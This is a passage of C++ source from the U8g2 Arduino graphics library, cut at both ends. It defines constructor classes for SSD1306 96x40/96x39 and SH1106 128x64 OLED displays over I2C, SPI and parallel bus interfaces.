u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X39_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X40_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X39_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X40_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X39_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_1_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_1_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_6800 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_VCOMH0_2_8080 : public U8G2 {\n  public: U8G2_SH1106_128X64_VCOMH0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X64_WINSTAR_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X64_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, 